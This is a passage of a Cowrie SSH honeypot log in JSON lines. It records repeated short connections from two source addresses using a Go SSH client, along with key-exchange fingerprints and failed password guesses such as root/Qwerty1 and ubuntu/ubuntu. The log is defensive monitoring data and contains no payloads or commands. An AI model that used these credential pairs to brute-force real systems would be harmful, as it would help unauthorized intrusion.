,"rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.631513Z","src_ip":"176.65.139.95","session":"991320631571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.638061Z","src_ip":"192.109.200.78","session":"bc60ac931a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.901763Z","src_ip":"176.65.139.95","session":"991320631571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:33.021545Z","src_ip":"192.109.200.78","session":"bc60ac931a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:34.108051Z","src_ip":"176.65.139.95","session":"991320631571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:34.279072Z","src_ip":"192.109.200.78","session":"bc60ac931a20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43754,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8cf6da0ec3","protocol":"ssh","message":"New connection: 192.109.200.78:43754 (159.203.135.109:22) [session: cd8cf6da0ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:36.618646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:36.720998Z","src_ip":"192.109.200.78","session":"cd8cf6da0ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:36.724503Z","src_ip":"192.109.200.78","session":"cd8cf6da0ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:37.120977Z","src_ip":"192.109.200.78","session":"cd8cf6da0ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40108,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d89fc36560","protocol":"ssh","message":"New connection: 176.65.139.95:40108 (159.203.135.109:22) [session: b4d89fc36560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:38.364324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:38.372915Z","src_ip":"176.65.139.95","session":"b4d89fc36560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:38.454257Z","src_ip":"176.65.139.95","session":"b4d89fc36560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:38.514441Z","src_ip":"192.109.200.78","session":"cd8cf6da0ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:38.831452Z","src_ip":"176.65.139.95","session":"b4d89fc36560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:39.940306Z","src_ip":"176.65.139.95","session":"b4d89fc36560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"97c30b61dda4","protocol":"ssh","message":"New connection: 192.109.200.78:47198 (159.203.135.109:22) [session: 97c30b61dda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:40.534629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:40.539091Z","src_ip":"192.109.200.78","session":"97c30b61dda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:40.620248Z","src_ip":"192.109.200.78","session":"97c30b61dda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:40.866538Z","src_ip":"192.109.200.78","session":"97c30b61dda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:42.053416Z","src_ip":"192.109.200.78","session":"97c30b61dda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37682,"dst_ip":"159.203.135.109","dst_port":22,"session":"d418066a955a","protocol":"ssh","message":"New connection: 176.65.139.95:37682 (159.203.135.109:22) [session: d418066a955a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.233450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.239675Z","src_ip":"176.65.139.95","session":"d418066a955a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.316938Z","src_ip":"176.65.139.95","session":"d418066a955a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47214,"dst_ip":"159.203.135.109","dst_port":22,"session":"02ea908f4143","protocol":"ssh","message":"New connection: 192.109.200.78:47214 (159.203.135.109:22) [session: 02ea908f4143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.458510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.462300Z","src_ip":"192.109.200.78","session":"02ea908f4143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.543472Z","src_ip":"192.109.200.78","session":"02ea908f4143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.796790Z","src_ip":"192.109.200.78","session":"02ea908f4143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:44.907415Z","src_ip":"176.65.139.95","session":"d418066a955a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:45.885053Z","src_ip":"192.109.200.78","session":"02ea908f4143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:46.000992Z","src_ip":"176.65.139.95","session":"d418066a955a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35292,"dst_ip":"159.203.135.109","dst_port":22,"session":"31899e74eb03","protocol":"ssh","message":"New connection: 192.109.200.78:35292 (159.203.135.109:22) [session: 31899e74eb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:48.563617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:48.568466Z","src_ip":"192.109.200.78","session":"31899e74eb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:48.652135Z","src_ip":"192.109.200.78","session":"31899e74eb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:48.899912Z","src_ip":"192.109.200.78","session":"31899e74eb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:49.987957Z","src_ip":"192.109.200.78","session":"31899e74eb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60464,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bfb07baf586","protocol":"ssh","message":"New connection: 176.65.139.95:60464 (159.203.135.109:22) [session: 7bfb07baf586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:50.384583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:50.390836Z","src_ip":"176.65.139.95","session":"7bfb07baf586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:50.468625Z","src_ip":"176.65.139.95","session":"7bfb07baf586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:50.824657Z","src_ip":"176.65.139.95","session":"7bfb07baf586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:52.269150Z","src_ip":"176.65.139.95","session":"7bfb07baf586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35320,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f1ae0490a7","protocol":"ssh","message":"New connection: 192.109.200.78:35320 (159.203.135.109:22) [session: 02f1ae0490a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:52.525468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:52.529860Z","src_ip":"192.109.200.78","session":"02f1ae0490a7","protocol":"ssh"}
